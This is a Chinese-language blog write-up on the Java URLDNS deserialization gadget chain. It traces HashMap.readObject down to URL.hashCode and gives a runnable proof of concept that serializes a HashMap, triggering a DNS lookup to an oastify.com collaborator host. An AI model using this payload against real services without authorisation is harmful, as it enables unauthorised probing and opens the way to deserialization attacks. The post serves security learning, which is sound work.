URLDNS链

调用链

1
2
3
4
5
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

分析

当需要尝试找一个ssrf 的漏洞的时候,发现和URL 类相关的代码,便可能存在SSRF 漏洞

image-20251006213641571

发现该类可以被序列化

那么就找 URL 类中是否存在使用范围比较广的函数名(这一步是为了能更好的同名函数的替换,方便调用)

找到了一个hashcode

image-20251006214024699

看看该方法中是否调用了危险的方法

image-20251006214047373

image-20251006214101003

发现了函数getHostAddress 说明可以通过host 获取ip 那么就一定会有dns 请求

那么如果是要利用这个 链子 那么该怎么调用hashcode 是一个问题。

那么这个前提类需要满足

  1. readobject 调用链中存在hashcode 这个函数

那么就找这个类,于是就发现了hash map 就存在

image-20251006214808340

image-20251006214818751

然后就尝试利用

验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.javaSecBase.deserialization.URLDNS;

import org.cclearn.Serialize;

import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static void main(String[] args) throws Exception {
URL url = new URL("https://2005w3j9c5zfft43ifsta02lcci364ut.oastify.com");

HashMap<URL,Integer> hashMap=new HashMap<>();

Class clazz = url.getClass();
Field field = clazz.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,1); // 防止put 的时候触发hashCode 导致dns请求
hashMap.put(url,1);
field.set(url,-1); // 只有hashcode =-1 反序列化的时候才会出发DNS请求


String fileName=Serialize.serialize(hashMap);
Serialize.deserialize(fileName);


}
}

URLDNS链
https://tsy244.github.io/2025/10/06/java安全/URLDNS链/
Author
August Rosenberg
Posted on
October 6, 2025
Licensed under